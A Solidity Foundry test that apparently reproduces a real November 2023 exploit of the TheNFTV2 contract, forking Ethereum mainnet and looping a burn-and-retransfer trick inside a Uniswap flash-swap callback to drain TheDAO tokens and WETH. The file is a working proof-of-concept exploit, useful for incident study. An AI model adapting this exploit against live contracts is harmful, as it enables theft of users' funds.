src/test/2023-11/TheNFTV2_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "./../interface.sol";
5 
6// @KeyInfo - Total Lost : ~19K USD$
7// Attacker - https://etherscan.io/address/0x2F746bC70f72aAF3340B8BbFd254fd91a3996218
8// Attack contract - https://etherscan.io/address/0x85301f7b943fd132c8dbc33f8fd9d77109a84f28
9// Attack Tx : https://etherscan.io/tx/0xd5b4d68432cbbd912130bbb5b93399031ddbb400d8f723c78050574de7533106
10 
11// @Analysis - https://x.com/MetaTrustAlert/status/1728616715825848377?s=20
12contract TheNFTV2Test is Test {
13    IERC721 THENFTV2 = IERC721(0x79a7D3559D73EA032120A69E59223d4375DEb595);
14    IERC20 TheDAO = IERC20(0xBB9bc244D798123fDe783fCc1C72d3Bb8C189413);
15    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
16    IUniswapV2Pair uniswap = IUniswapV2Pair(0xE1eCaDb5FEC254c2c893C230b935Db30b8FfF0db);
17    uint256 constant nftId = 1071;
18    address hacker = 0x85301f7b943fd132c8dBc33f8FD9d77109A84f28;
19    address deadaddress = 0x000000000000000000000000000000000074eda0;
20 
21    function setUp() public {
22        vm.createSelectFork("mainnet", 18_647_450);
23        vm.label(address(WETH), "WETH");
24        vm.label(address(THENFTV2), "THENFTV2");
25        vm.label(address(uniswap), "Uniswap Pair");
26        vm.label(address(TheDAO), "TheDAO");
27    }
28 
29    function test() public {
30        address[] memory assets = new address[](1);
31        assets[0] = address(WETH);
32        uint256[] memory amounts = new uint256[](1);
33        amounts[0] = 80_000 * 1e18;
34        uint256[] memory modes = new uint256[](1);
35        modes[0] = 0;
36 
37        emit log_named_decimal_uint("[Start] Attacker ETH Balance", WETH.balanceOf(address(this)), WETH.decimals());
38 
39        uint256 balanceBefore = address(this).balance;
40        vm.prank(hacker);
41        THENFTV2.transferFrom(address(hacker), address(this), nftId);
42 
43        uniswap.swap(0, 1_906_331_836_125_411_716, address(this), new bytes(1));
44        uint256 balanceAfter = address(this).balance;
45        assert(balanceAfter > balanceBefore);
46 
47        emit log_named_decimal_uint("Attacker ETH balance after exploit", address(this).balance, 0);
48    }
49 
50    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
51        (uint256 thedaoReserve, uint256 wethReserve,) = uniswap.getReserves();
52        emit log_named_uint("k0:", thedaoReserve * wethReserve);
53        uint256 amountOut = amount1;
54        uint256 amountIn = getAmountIn(amountOut, thedaoReserve, wethReserve);
55        emit log_named_uint("amountIn", amountIn);
56 
57        do {
58            THENFTV2.approve(address(this), nftId);
59            THENFTV2.burn(nftId);
60            THENFTV2.transferFrom(deadaddress, address(this), nftId);
61        } while (TheDAO.balanceOf(address(this)) < amountIn);
62        TheDAO.transfer(address(uniswap), TheDAO.balanceOf(address(this)));
63        WETH.withdraw(WETH.balanceOf(address(this)));
64    }
65 
66    function getAmountIn(
67        uint256 amountOut,
68        uint256 reserveIn,
69        uint256 reserveOut
70    ) internal pure returns (uint256 amountIn) {
71        require(amountOut > 0, "UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT");
72        require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY");
73        uint256 numerator = reserveIn * amountOut * (1000);
74        uint256 denominator = (reserveOut - amountOut) * (997);
75        amountIn = (numerator / denominator) + (1);
76    }
77 
78    receive() external payable {}
79}